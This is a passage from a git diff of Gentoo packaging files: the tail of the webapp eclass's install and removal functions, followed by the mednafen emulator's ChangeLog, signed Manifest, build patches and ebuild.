"${3}" ]]; then + elog "(${1}) upgrade script for ${PN}-${3} to ${PVR}" + cp "${2}" "${D}${MY_SQLSCRIPTSDIR}/${1}/${3}_to_${PVR}.sql" + chmod 600 "${D}${MY_SQLSCRIPTSDIR}/${1}/${3}_to_${PVR}.sql" + else + elog "(${1}) create script for ${PN}-${PVR}" + cp "${2}" "${D}/${MY_SQLSCRIPTSDIR}/${1}/${PVR}_create.sql" + chmod 600 "${D}/${MY_SQLSCRIPTSDIR}/${1}/${PVR}_create.sql" + fi +} + +# @FUNCTION: webapp_src_preinst +# @DESCRIPTION: +# You need to call this function in src_install() BEFORE anything else has run. +# For now we just create required webapp-config directories. +webapp_src_preinst() { + debug-print-function $FUNCNAME $* + + # sanity checks, to catch bugs in the ebuild + if [[ ! -f "${T}/${SETUP_CHECK_FILE}" ]]; then + eerror + eerror "This ebuild did not call webapp_pkg_setup() at the beginning" + eerror "of the pkg_setup() function" + eerror + eerror "Please log a bug on http://bugs.gentoo.org" + eerror + eerror "You should use emerge -C to remove this package, as the" + eerror "installation is incomplete" + eerror + die "Ebuild did not call webapp_pkg_setup() - report to http://bugs.gentoo.org" + fi + + # Hint, see the webapp_read_config() function to find where these are + # defined. + dodir "${MY_HTDOCSDIR}" + dodir "${MY_HOSTROOTDIR}" + dodir "${MY_CGIBINDIR}" + dodir "${MY_ICONSDIR}" + dodir "${MY_ERRORSDIR}" + dodir "${MY_SQLSCRIPTSDIR}" + dodir "${MY_HOOKSCRIPTSDIR}" + dodir "${MY_SERVERCONFIGDIR}" +} + +# ============================================================================== +# EXPORTED FUNCTIONS +# ============================================================================== + +# @FUNCTION: webapp_pkg_setup +# @DESCRIPTION: +# The default pkg_setup() for this eclass. This will gather required variables +# from webapp-config and check if there is an application installed to +# `${ROOT}/var/www/localhost/htdocs/${PN}/' if USE=vhosts is not set. +# +# You need to call this function BEFORE anything else has run in your custom +# pkg_setup(). +webapp_pkg_setup() { + debug-print-function $FUNCNAME $* + + # to test whether or not the ebuild has correctly called this function + # we add an empty file to the filesystem + # + # we used to just set a variable in the shell script, but we can + # no longer rely on Portage calling both webapp_pkg_setup() and + # webapp_src_install() within the same shell process + touch "${T}/${SETUP_CHECK_FILE}" + + # special case - some ebuilds *do* need to overwride the SLOT + if [[ "${SLOT}+" != "${PVR}+" && "${WEBAPP_MANUAL_SLOT}" != "yes" ]]; then + die "Set WEBAPP_MANUAL_SLOT=\"yes\" if you need to SLOT manually" + fi + + # pull in the shared configuration file + G_HOSTNAME="localhost" + webapp_read_config + + local my_dir="${ROOT}${VHOST_ROOT}/${MY_HTDOCSBASE}/${PN}" + + # if USE=vhosts is enabled OR no application is installed we're done here + if ! has vhosts ${IUSE} || use vhosts || [[ ! -d "${my_dir}" ]]; then + return + fi + + local my_output + my_output="$(webapp_check_installedat)" + + if [[ $? -ne 0 ]]; then + # okay, whatever is there, it isn't webapp-config-compatible + echo + ewarn + ewarn "You already have something installed in ${my_dir}" + ewarn + ewarn "Whatever is in ${my_dir}, it's not" + ewarn "compatible with webapp-config." + ewarn + ewarn "This ebuild may be overwriting important files." + ewarn + echo + ebeep 10 + elif [[ "$(echo ${my_output} | awk '{ print $1 }')" != "${PN}" ]]; then + echo + eerror "You already have ${my_output} installed in ${my_dir}" + eerror + eerror "I cannot upgrade a different application" + eerror + echo + die "Cannot upgrade contents of ${my_dir}" + fi + +} + +# @FUNCTION: webapp_src_install +# @DESCRIPTION: +# This is the default src_install(). For now, we just make sure that root owns +# everything, and that there are no setuid files. +# +# You need to call this function AFTER everything else has run in your custom +# src_install(). +webapp_src_install() { + debug-print-function $FUNCNAME $* + + # to test whether or not the ebuild has correctly called this function + # we add an empty file to the filesystem + # + # we used to just set a variable in the shell script, but we can + # no longer rely on Portage calling both webapp_src_install() and + # webapp_pkg_postinst() within the same shell process + touch "${D}/${MY_APPDIR}/${INSTALL_CHECK_FILE}" + + chown -R "${VHOST_DEFAULT_UID}:${VHOST_DEFAULT_GID}" "${D}/" + chmod -R u-s "${D}/" + chmod -R g-s "${D}/" + + keepdir "${MY_PERSISTDIR}" + fowners "root:0" "${MY_PERSISTDIR}" + fperms 755 "${MY_PERSISTDIR}" +} + +# @FUNCTION: webapp_pkg_postinst +# @DESCRIPTION: +# The default pkg_postinst() for this eclass. This installs the web application to +# `${ROOT}/var/www/localhost/htdocs/${PN}/' if USE=vhosts is not set. Otherwise +# display a short notice how to install this application with webapp-config. +# +# You need to call this function AFTER everything else has run in your custom +# pkg_postinst(). +webapp_pkg_postinst() { + debug-print-function $FUNCNAME $* + + webapp_read_config + + # sanity checks, to catch bugs in the ebuild + if [[ ! -f "${ROOT}${MY_APPDIR}/${INSTALL_CHECK_FILE}" ]]; then + eerror + eerror "This ebuild did not call webapp_src_install() at the end" + eerror "of the src_install() function" + eerror + eerror "Please log a bug on http://bugs.gentoo.org" + eerror + eerror "You should use emerge -C to remove this package, as the" + eerror "installation is incomplete" + eerror + die "Ebuild did not call webapp_src_install() - report to http://bugs.gentoo.org" + fi + + if has vhosts ${IUSE}; then + if ! use vhosts; then + echo + elog "vhosts USE flag not set - auto-installing using webapp-config" + + G_HOSTNAME="localhost" + webapp_read_config + + local my_mode=-I + webapp_getinstalltype + + if [[ "${IS_REPLACE}" == "1" ]]; then + elog "${PN}-${PVR} is already installed - replacing" + my_mode=-I + elif [[ "${IS_UPGRADE}" == "1" ]]; then + elog "${REMOVE_PKG} is already installed - upgrading" + my_mode=-U + else + elog "${PN}-${PVR} is not installed - using install mode" + fi + + my_cmd="${WEBAPP_CONFIG} ${my_mode} -h localhost -u root -d ${INSTALL_DIR} ${PN} ${PVR}" + elog "Running ${my_cmd}" + ${my_cmd} + + echo + local cleaner="${WEBAPP_CLEANER} -p -C ${PN}" + einfo "Running ${cleaner}" + ${cleaner} + else + elog + elog "The 'vhosts' USE flag is switched ON" + elog "This means that Portage will not automatically run webapp-config to" + elog "complete the installation." + elog + elog "To install ${PN}-${PVR} into a virtual host, run the following command:" + elog + elog " webapp-config -I -h -d ${PN} ${PN} ${PVR}" + elog + elog "For more details, see the webapp-config(8) man page" + fi + else + elog + elog "This ebuild does not support the 'vhosts' USE flag." + elog "This means that Portage will not automatically run webapp-config to" + elog "complete the installation." + elog + elog "To install ${PN}-${PVR} into a virtual host, run the following command:" + elog + elog " webapp-config -I -h -d ${PN} ${PN} ${PVR}" + elog + elog "For more details, see the webapp-config(8) man page" + fi +} + +# @FUNCTION: webapp_pkg_prerm +# @DESCRIPTION: +# This is the default pkg_prerm() for this eclass. If USE=vhosts is not set +# remove all installed copies of this web application. Otherwise instruct the +# user to manually remove those copies. See bug #136959. +webapp_pkg_prerm() { + debug-print-function $FUNCNAME $* + + local my_output= + my_output="$(${WEBAPP_CONFIG} --list-installs ${PN} ${PVR})" + [[ $? -ne 0 ]] && return + + local x + if has vhosts ${IUSE} && ! use vhosts; then + echo "${my_output}" | while read x; do + if [[ -f "${x}"/.webapp ]]; then + . "${x}"/.webapp + if [[ -n "${WEB_HOSTNAME}" && -n "${WEB_INSTALLDIR}" ]]; then + ${WEBAPP_CONFIG} -C -h ${WEB_HOSTNAME} -d ${WEB_INSTALLDIR} ${PN} ${PVR} + fi + else + ewarn "Cannot find file ${x}/.webapp" + fi + done + elif [[ "${my_output}" != "" ]]; then + echo + ewarn + ewarn "Don't forget to use webapp-config to remove any copies of" + ewarn "${PN}-${PVR} installed in" + ewarn + + echo "${my_output}" | while read x; do + if [[ -f "${x}"/.webapp ]]; then + ewarn " ${x}" + else + ewarn "Cannot find file ${x}/.webapp" + fi + done + + ewarn + echo + fi +} diff --git a/games-emulation/mednafen/ChangeLog b/games-emulation/mednafen/ChangeLog new file mode 100644 index 00000000..7df2a391 --- /dev/null +++ b/games-emulation/mednafen/ChangeLog @@ -0,0 +1,190 @@ +# ChangeLog for games-emulation/mednafen +# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/ChangeLog,v 1.44 2013/04/27 14:16:20 hasufell Exp $ + + 27 Apr 2013; Julian Ospald mednafen-0.9.28.ebuild, + +files/mednafen-0.9.28-automake-1.13.patch: + fix automake-1.13 build wrt #467498 + + 14 Feb 2013; Michael Sterrett mednafen-0.9.28.ebuild: + add opengl to libsdl use deps (bug #457606) + +*mednafen-0.9.28 (26 Jan 2013) + + 26 Jan 2013; Michael Sterrett + +files/mednafen-0.9.28-cflags.patch, +files/mednafen-0.9.28-zlib.patch, + +mednafen-0.9.28.ebuild, metadata.xml: + version bump + + 13 Jun 2012; Michael Sterrett + -files/mednafen-0.8.13.3-zlib-1.2.6.patch, + -files/mednafen-0.8.13.3-zlib.patch, -mednafen-0.8.13.3-r1.ebuild, + -mednafen-0.8.13.3.ebuild: + old + + 22 May 2012; Jeff Horelick mednafen-0.9.21.ebuild: + marked x86 per bug 413831 + + 20 May 2012; Agostino Sarubbo mednafen-0.9.21.ebuild: + Stable for amd64, wrt bug #413831 + + 19 May 2012; Samuli Suominen mednafen-0.8.13.3.ebuild: + Revert to ~ppc wrt #413831 pending on user request for stabilization + +*mednafen-0.9.21 (06 May 2012) + + 06 May 2012; Tupone Alfredo +mednafen-0.9.21.ebuild, + +files/mednafen-0.9.21-zlib.patch: + Version bump to 0.9.21 Bug #414597 by Tatsh + + 04 May 2012; Jeff Horelick mednafen-0.8.13.3.ebuild, + mednafen-0.8.13.3-r1.ebuild: + dev-util/pkgconfig -> virtual/pkgconfig + + 18 Feb 2012; Tim Harder mednafen-0.8.13.3-r1.ebuild, + +files/mednafen-0.8.13.3-zlib-1.2.6.patch: + Fix build with zlib-1.2.6 (bug #403483). + +*mednafen-0.8.13.3-r1 (14 Dec 2011) + + 14 Dec 2011; Tupone Alfredo +mednafen-0.8.13.3-r1.ebuild, + +files/mednafen-0.8.13.3-zlib.patch: + Build with latest zlib. Bug #387821 by Diego Elio Pettenò + + 15 Jan 2011; Markus Meier mednafen-0.8.13.3.ebuild: + x86 stable, bug #351332 + + 12 Jan 2011; Markos Chandras mednafen-0.8.13.3.ebuild: + Stable on amd64 wrt bug #351332 + + 11 Jan 2011; Brent Baude mednafen-0.8.13.3.ebuild: + Marking mednafen-0.8.13.3 ppc for bug 351332 + + 10 Dec 2010; Michael Sterrett + mednafen-0.8.13.3.ebuild: + needs libsdl[joystick] (bug #348364) + +*mednafen-0.8.13.3 (06 Dec 2010) + + 06 Dec 2010; Hanno Boeck +mednafen-0.8.13.3.ebuild: + Version bump, gcc patch got merged upstream. + + 25 Sep 2010; Markus Meier mednafen-0.8.13.ebuild: + x86 stable, bug #337536 + + 21 Sep 2010; Markos Chandras mednafen-0.8.13.ebuild: + Stable on amd64 wrt bug #337536 + + 12 Aug 2010; Michael Sterrett + mednafen-0.8.13.ebuild: + use deps for libsdl; add zlib dep; only pass c++ flags to g++ + + 04 Jul 2010; Hanno Boeck mednafen-0.8.13.ebuild, + +files/mednafen-0.8.13-gcc45.patch: + Re-add gcc 4.5 patch. + +*mednafen-0.8.13 (02 Jul 2010) + + 02 Jul 2010; Tupone Alfredo +mednafen-0.8.13.ebuild: + Version bump to 0.8.13 Bug #326141 by Sergey Kondakov + + 24 May 2010; Tupone Alfredo mednafen-0.8.12.ebuild, + +files/mednafen-0.8.12-gcc45.patch: + Build with gcc-4.5 Bug #321009 by flameeyes@gentoo.org + + 23 May 2010; Pacho Ramos mednafen-0.8.12.ebuild: + stable amd64, bug 312535 + + 21 Nov 2009; Markus Meier mednafen-0.8.12.ebuild: + x86 stable, bug #288950 + +*mednafen-0.8.12 (12 Jul 2009) + + 12 Jul 2009; Michael Sterrett + +mednafen-0.8.12.ebuild: + version bump + + 17 Jun 2009; Tristan Heaven mednafen-0.8.11.ebuild, + +files/mednafen-0.8.11-glibc2.10.patch: + Fix building with glibc-2.10, bug #273590 + +*mednafen-0.8.11 (15 Apr 2009) + + 15 Apr 2009; Hanno Boeck +mednafen-0.8.11.ebuild: + Version bump. + +*mednafen-0.8.10 (30 Jan 2009) + + 30 Jan 2009; Michael Sterrett + +mednafen-0.8.10.ebuild: + version bump + + 24 Jul 2008; Raúl Porcel mednafen-0.8.9.ebuild: + x86 stable wrt #231880 + +*mednafen-0.8.9 (20 Jun 2008) + + 20 Jun 2008; Michael Sterrett + +mednafen-0.8.9.ebuild: + version bump (bug #228623) + +*mednafen-0.8.8 (22 Apr 2008) + + 22 Apr 2008; Michael Sterrett + +mednafen-0.8.8.ebuild: + version bump + +*mednafen-0.8.7 (07 Jan 2008) + + 07 Jan 2008; Michael Sterrett + +mednafen-0.8.7.ebuild: + version bump + +*mednafen-0.8.5 (28 Nov 2007) + + 28 Nov 2007; Michael Sterrett + -mednafen-0.7.2.ebuild, -mednafen-0.8.1.ebuild, -mednafen-0.8.4.ebuild, + +mednafen-0.8.5.ebuild: + version bump (bug #200666); clean out old ebuilds + +*mednafen-0.8.4 (14 Nov 2007) + + 14 Nov 2007; Michael Sterrett + +mednafen-0.8.4.ebuild: + version bump + +*mednafen-0.8.1 (04 Jul 2007) + + 04 Jul 2007; Michael Sterrett + +mednafen-0.8.1.ebuild: + version bump (bug #184151) + +*mednafen-0.7.2 (12 Feb 2007) + + 12 Feb 2007; Tristan Heaven +mednafen-0.7.2.ebuild: + Version bump + +*mednafen-0.7.1 (25 Dec 2006) + + 25 Dec 2006; Tristan Heaven +mednafen-0.7.1.ebuild: + Version bump by Kai, bug #158901 + +*mednafen-0.6.5 (29 Sep 2006) + + 29 Sep 2006; Tristan Heaven +mednafen-0.6.5.ebuild: + Version bump, bug #146371 + + 24 May 2006; Joseph Jezak mednafen-0.6.1.ebuild: + Marked ~ppc for bug #133867. + + 20 May 2006; Joshua Jackson mednafen-0.6.1.ebuild: + Marking ~x86, as testing is needed before going x86 + + 20 May 2006; Jon Hood mednafen-0.6.1.ebuild: + Add ~amd64, #133753. + +*mednafen-0.6.1 (19 May 2006) + + 19 May 2006; Michael Sterrett +metadata.xml, + +mednafen-0.6.1.ebuild: + initial commit - ebuild submitted by Kai via bug #110044 diff --git a/games-emulation/mednafen/Manifest b/games-emulation/mednafen/Manifest new file mode 100644 index 00000000..59d7326c --- /dev/null +++ b/games-emulation/mednafen/Manifest @@ -0,0 +1,24 @@ +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA256 + +AUX mednafen-0.9.21-zlib.patch 1323 SHA256 c5e959e46059d0902e2fffb17376df260d4656ed35f4d1761734aaabfb95cffd SHA512 bb21d2a9d03cf9214755bc1786ba8cf1adf410d1780fc074213cd5075bd479dbb4c70a676096e43f772bd9c2e69c9cdcfb8363ccd125c84750fb73c9c9a982cb WHIRLPOOL 0f2e49c3f1e8d24f6e25f2dc093cf03fbdba185bd9fc54fb7ed0a26c14461ac8810fd6ab9663d000ca5279a7b1968a26ab25da537651f53ccc1c610eb3640780 +AUX mednafen-0.9.28-automake-1.13.patch 372 SHA256 1cc28062d38a372ae2e2cbb56efdd5d0bfa60b83cc5c6ec5fb6adab0de7578e1 SHA512 79eecf9fce0d2da04fb05f4d1453ac5aafee24cc13126c5305a8e1beb14d548ccb1c19df9da5a6017c80433d955362aa39272382e34d55d73364a99f67529eda WHIRLPOOL dfaf51d0b21248e035084e73d89e82c7f1bcf6dc7a4f2a632312ca9640edc9f36801154b98e97b7374da93914529c267aba9985703a385d0d102e34f91cd79fb +AUX mednafen-0.9.28-cflags.patch 1560 SHA256 404029dc11bc8d3271eb3d62a6949c719ab660af5098b8038d4dbba09c484b85 SHA512 658dceb99abe9093fdf0753779663a968986f578d4992865a767d5caf65ef20813080a0755f90ffe433df4f6981f43c449de30aa253a84db668b2582c063f1bf WHIRLPOOL 8a961ed0d49a85b2f9fd20cac40d6cc55859c9d2148f378d63a8693aa171bdcb4bb063760b2bc1daa302e1d68b7729f845428b655e313c984b62a8b42e209009 +AUX mednafen-0.9.28-zlib.patch 1628 SHA256 161bf6682de65caa0a2ffd52000244b3289e7c21454bd99952761d3ffdb75947 SHA512 71e9d67f3a2f9e4534c96cd856e68d6d163fc71de15b31ade139b3a3b09aeead29aad7acf053c01b37b9d139bcdeafb66c231cab370bae49d4ee95a02b2b6e73 WHIRLPOOL 006fb50fec95ea1fa067c399d9f23803372bb5e1d4e95a96c6a4fe34af424183b076f148234af47bb94d841a19e0b09ac0f19adf95f85aea9746be386c9072ce +DIST mednafen-0.9.21-wip.tar.bz2 3770486 SHA256 2c1074337cedd61091b8695915d1bc7cf3f7ad5bbdda755e7b99e32834fc052d SHA512 381f7c5f15ec89bd2ee8cf8606da020c6f958737af355c996d3e42df4f1d392392828b1dcdff0103fedaa628873a3cdbdf7493b674192ba1baedde8da4410f2f WHIRLPOOL a3f392105e891925503000c65f9a3ad455591a4ac67603c27ed53c2151db2d9f9f63a8037c1456e80c8d915f7cd3333fc6b584eecf0684c8d0f006d99ed4d93e +DIST mednafen-0.9.28-wip.tar.bz2 3901828 SHA256 415ce0055c43560fb8e5b225108cfeb2fb2363841c39cc37eaa1c5e605675bde SHA512 4bc4347e31c7b4ddc10426ff422192706cf90a7fef10209c09880eef5e1b8f3c6820ffb975e68e030e26be0bb5999a299bd2d95cf52b036438c0499edb099033 WHIRLPOOL 458e2157b615f587087fd94a5a77f2d07eda9a5d2248304044178371e71b84069cb55b0d4d27dc92a2517b1bc98779bf675f237e5e428c747ca17c062822207c +EBUILD mednafen-0.9.21.ebuild 1615 SHA256 2d49b91f03d5529426dc66635ae963a5c8b4301ad15f4204d35c6cb147f795b6 SHA512 250cf2b1177c8f16ed0a1a2933460c1b5ccbdb294d12cab4f69752b4edc6e9ed9620d06518b578303cee9a6632b6cd0d42417cd9d02fbaaf5837d991ac08b21e WHIRLPOOL 357b6799eeac0ab1c6e448a6c707c75089b98cc41d84726679ff74bd14125ea430c47e272aab14394c2c9f95253ba3d7412afbcd47da589f40d6acdfd9078eb9 +EBUILD mednafen-0.9.28.ebuild 1494 SHA256 83a1ec728f9a9373349bc779e417bd9275e94af32eb974fa3db661fb9b951eec SHA512 86b77d94cffcd1d77912e1f01cc99890bf72112184d3bd63bc2682e7254e0a4b468c53bdca2c99073b45a807b07d2494d58dedb9a9eca890a83e8c26297131e4 WHIRLPOOL 8a8bbb0430f1ab5a88fd4b2b27bff3e1e10504b68ccafdaef2032424a541501c323d9ce3f96c4712c933db3af01d8ae208d8f6b6058a34d34f840f1c9d758001 +MISC ChangeLog 6102 SHA256 e1603eedd07fa76daf4fa9016d994ac47038896c417434b79f10a3bd33dd6054 SHA512 f48b49101476d1494e3fd3b054d841cf1aea33f0643427d01ea0aedd2f3042586bb3960766dbe539a06c5c682255dc690ad1da0c2ddc7fdba0b2ca4eacdf39d0 WHIRLPOOL 8ecfa4c9ad3e836d61e00c2b39c94c6ff45ab29a48092fd5dc3a10104a6ac524e9ecb8ffd087ddedb5674caff16968374306a9bb2a913152d0996dcf39c54bde +MISC metadata.xml 233 SHA256 7ef382bb262a87add83f9f888605564ba0996965964a80239613593302c76a05 SHA512 9190a76d53fe28e92c58ebf8e7308522b8697be30fe10d1d9eeae892b93e40106f9c8274c6fee82a2bfee7b7efdb398cf687fd5549080b80d8167f8bf27cc207 WHIRLPOOL 3d4911033f7d3d6ef8bbf6833dc076d90b642f32f454e13483cc0333137705026def3224531a234d696fc580fc9fbefe420fe1bcfb76ec44ba6f476d48c1f19a +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v2.0.19 (GNU/Linux) + +iQEcBAEBCAAGBQJRe922AAoJEFpvPKfnPDWz/+8H/3w1nBbPYeKv++XS8+2dxHmW +u7EQzjeJ5DYrWTmdkujQLpoA91r5jbwS5M0jwuHohgOVmxtlAOiAOs145qd1vjdY +KWKmylc9Fx7mYIJY2LAg0IojosltQytUfAmAqDBpKk2VD+9pzMpIiy7Hqi188qdh +68EKSIJ1VL3utznvCIqg9RybO8t7YfeH22m0g4Z1MzA3KdJ49vG51GMwLVgzGU89 +vxcwtNIcabiTPvGA+TkDvu1PLzCwWEGsjEINxfPRX1Jw5uKylDmHlBEqG08eHntN +taiXRn8udIWffy4Ts7KjCc/JAX9hHOL7vG07RUsgH5CY7XOVsnQbUh6Q4oCS9lM= +=jsNA +-----END PGP SIGNATURE----- diff --git a/games-emulation/mednafen/files/mednafen-0.9.21-zlib.patch b/games-emulation/mednafen/files/mednafen-0.9.21-zlib.patch new file mode 100644 index 00000000..2eec3ed1 --- /dev/null +++ b/games-emulation/mednafen/files/mednafen-0.9.21-zlib.patch @@ -0,0 +1,27 @@ +--- src/file.cpp.old 2012-05-06 13:20:45.762299681 +0200 ++++ src/file.cpp 2012-05-06 13:21:13.634342683 +0200 +@@ -33,7 +33,7 @@ + + + #include +-#include "compress/unzip.h" ++#include + + #include "file.h" + #include "general.h" +--- src/compress/Makefile.am.inc.old 2012-05-06 13:19:12.625839129 +0200 ++++ src/compress/Makefile.am.inc 2012-05-06 13:19:30.012618340 +0200 +@@ -1 +1 @@ +-mednafen_SOURCES += compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c compress/unzip.c ++mednafen_SOURCES += compress/minilzo.c compress/quicklz.c compress/blz.cpp +--- src/Makefile.am.old 2012-05-06 13:19:54.047930734 +0200 ++++ src/Makefile.am 2012-05-06 13:20:26.888624869 +0200 +@@ -5,7 +5,7 @@ + + bin_PROGRAMS = mednafen + mednafen_SOURCES = debug.cpp error.cpp mempatcher.cpp settings.cpp endian.cpp mednafen.cpp file.cpp general.cpp md5.cpp memory.cpp netplay.cpp state.cpp movie.cpp player.cpp PSFLoader.cpp tests.cpp qtrecord.cpp cdplay.cpp okiadpcm.cpp math_ops.cpp FileWrapper.cpp Stream.cpp +-mednafen_LDADD = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ ++mednafen_LDADD = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ -lminizip + mednafen_DEPENDENCIES = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a + + SUBDIRS += sexyal drivers diff --git a/games-emulation/mednafen/files/mednafen-0.9.28-automake-1.13.patch b/games-emulation/mednafen/files/mednafen-0.9.28-automake-1.13.patch new file mode 100644 index 00000000..14c69d94 --- /dev/null +++ b/games-emulation/mednafen/files/mednafen-0.9.28-automake-1.13.patch @@ -0,0 +1,11 @@ +--- mednafen-0.9.28-wip/mednafen/configure.ac ++++ mednafen-0.9.28-wip/mednafen/configure.ac +@@ -13,7 +13,7 @@ + AC_CANONICAL_TARGET + AM_INIT_AUTOMAKE([mednafen], $MEDNAFEN_VERSION) + m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES]) +-AM_CONFIG_HEADER([include/config.h:include/config.h.in]) ++AC_CONFIG_HEADERS([include/config.h:include/config.h.in]) + + AC_PROG_CC + AC_PROG_CPP diff --git a/games-emulation/mednafen/files/mednafen-0.9.28-cflags.patch b/games-emulation/mednafen/files/mednafen-0.9.28-cflags.patch new file mode 100644 index 00000000..0fca1c61 --- /dev/null +++ b/games-emulation/mednafen/files/mednafen-0.9.28-cflags.patch @@ -0,0 +1,35 @@ +--- configure.ac.orig 2013-01-25 13:30:36.167253683 -0500 ++++ configure.ac 2013-01-25 13:32:16.993678869 -0500 +@@ -90,21 +90,6 @@ + + dnl -fno-unit-at-a-time + +-OPTIMIZER_FLAGS="" +- +-dnl -ffast-math removed January 12, 2013. Don't re-add it, nor any of its sub-options(ESPECIALLY not -funsafe-math-optimizations), +-dnl it messes up certain code(NES resampler, for example) under certain conditions and alignments of the great celestial squid. +-dnl +-dnl In fact, let's explicitly disable it here with -fno-fast-math. +-dnl +-AX_CFLAGS_GCC_OPTION([-fno-fast-math], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([-fno-unsafe-math-optimizations], OPTIMIZER_FLAGS) +- +-AX_CFLAGS_GCC_OPTION([-fomit-frame-pointer], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([-finline-limit=6000], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([--param large-function-growth=800], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([--param inline-unit-growth=175], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([--param max-inline-insns-single=10000], OPTIMIZER_FLAGS) + AX_NO_STRICT_OVERFLOW + + +@@ -138,8 +123,8 @@ + MDFN_COMPAT_FLAGS="" + AX_CFLAGS_GCC_OPTION([-fsigned-char], MDFN_COMPAT_FLAGS) + +-AC_SUBST([AM_CFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $OPTIMIZER_FLAGS $NO_STRICT_OVERFLOW_FLAGS") +-AC_SUBST([AM_CXXFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $OPTIMIZER_FLAGS $NO_STRICT_OVERFLOW_FLAGS") ++AC_SUBST([AM_CFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $NO_STRICT_OVERFLOW_FLAGS") ++AC_SUBST([AM_CXXFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $NO_STRICT_OVERFLOW_FLAGS") + + AM_CONDITIONAL(WANT_DEBUGGER, false) + diff --git a/games-emulation/mednafen/files/mednafen-0.9.28-zlib.patch b/games-emulation/mednafen/files/mednafen-0.9.28-zlib.patch new file mode 100644 index 00000000..8ada2009 --- /dev/null +++ b/games-emulation/mednafen/files/mednafen-0.9.28-zlib.patch @@ -0,0 +1,30 @@ +diff -ru mednafen.orig/src/Makefile.am mednafen/src/Makefile.am +--- mednafen.orig/src/Makefile.am 2013-01-12 08:41:03.000000000 -0500 ++++ mednafen/src/Makefile.am 2013-01-25 13:17:44.351619447 -0500 +@@ -5,7 +5,7 @@ + + bin_PROGRAMS = mednafen + mednafen_SOURCES = debug.cpp error.cpp mempatcher.cpp settings.cpp endian.cpp mednafen.cpp file.cpp general.cpp md5.cpp memory.cpp netplay.cpp state.cpp movie.cpp player.cpp PSFLoader.cpp tests.cpp qtrecord.cpp cdplay.cpp okiadpcm.cpp FileWrapper.cpp Stream.cpp MemoryStream.cpp FileStream.cpp +-mednafen_LDADD = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ ++mednafen_LDADD = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ -lminizip + mednafen_DEPENDENCIES = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a + + SUBDIRS += sexyal drivers +diff -ru mednafen.orig/src/compress/Makefile.am.inc mednafen/src/compress/Makefile.am.inc +--- mednafen.orig/src/compress/Makefile.am.inc 2010-12-18 04:03:19.000000000 -0500 ++++ mednafen/src/compress/Makefile.am.inc 2013-01-25 13:17:19.289508092 -0500 +@@ -1 +1 @@ +-mednafen_SOURCES += compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c compress/unzip.c ++mednafen_SOURCES += compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c +diff -ru mednafen.orig/src/file.cpp mednafen/src/file.cpp +--- mednafen.orig/src/file.cpp 2012-02-03 17:04:45.000000000 -0500 ++++ mednafen/src/file.cpp 2013-01-25 13:17:09.527854217 -0500 +@@ -33,7 +33,7 @@ + + + #include +-#include "compress/unzip.h" ++#include + + #include "file.h" + #include "general.h" diff --git a/games-emulation/mednafen/mednafen-0.9.21.ebuild b/games-emulation/mednafen/mednafen-0.9.21.ebuild new file mode 100644 index 00000000..bd4c0a6f --- /dev/null +++ b/games-emulation/mednafen/mednafen-0.9.21.ebuild @@ -0,0 +1,63 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/mednafen-0.9.21.ebuild,v 1.3 2012/05/22 00:03:04 jdhore Exp $ + +EAPI=2 +inherit autotools eutils games + +DESCRIPTION="An advanced NES, GB/GBC/GBA, TurboGrafx 16/CD, NGPC and Lynx emulator" +HOMEPAGE="http://mednafen.sourceforge.net/" +SRC_URI="mirror://sourceforge/${PN}/${P}-wip.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~ppc x86" +IUSE="alsa altivec cjk debug jack nls" + +RDEPEND="virtual/opengl + media-libs/libsndfile + dev-libs/libcdio + media-libs/libsdl[audio,joystick,video] + media-libs/sdl-net + sys-libs/zlib[minizip] + alsa? ( media-libs/alsa-lib ) + jack? ( media-sound/jack-audio-connection-kit ) + nls? ( virtual/libintl )" +DEPEND="${RDEPEND} + virtual/pkgconfig + nls? ( sys-devel/gettext )" + +S=${WORKDIR}/${PN} + +src_prepare() { + sed -i \ + -e 's:$(datadir)/locale:/usr/share/locale:' \ + $(find . -name 'Makefile.am') \ + intl/Makefile.in \ + || die 'sed failed' + sed -i \ + -e '/-ffast-math/d' \ + -e '/^AX_CFLAGS_GCC_OPTION.*OPTIMIZER_FLAGS/d' \ + configure.ac \ + || die "sed failed" + epatch "${FILESDIR}"/${P}-zlib.patch + eautoreconf +} + +src_configure() { + egamesconf \ + --disable-dependency-tracking \ + $(use_enable alsa) \ + $(use_enable altivec) \ + $(use_enable cjk cjk-fonts) \ + $(use_enable debug debugger) \ + $(use_enable jack) \ + $(use_enable nls) +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" + dodoc Documentation/cheats.txt AUTHORS ChangeLog TODO + dohtml Documentation/* + prepgamesdirs +} diff --git a/games-emulation/mednafen/mednafen-0.9.28.ebuild b/games-emulation/mednafen/mednafen-0.9.28.ebuild new file mode 100644 index 00000000..7254ba09 --- /dev/null +++ b/games-emulation/mednafen/mednafen-0.9.28.ebuild @@ -0,0 +1,59 @@ +# 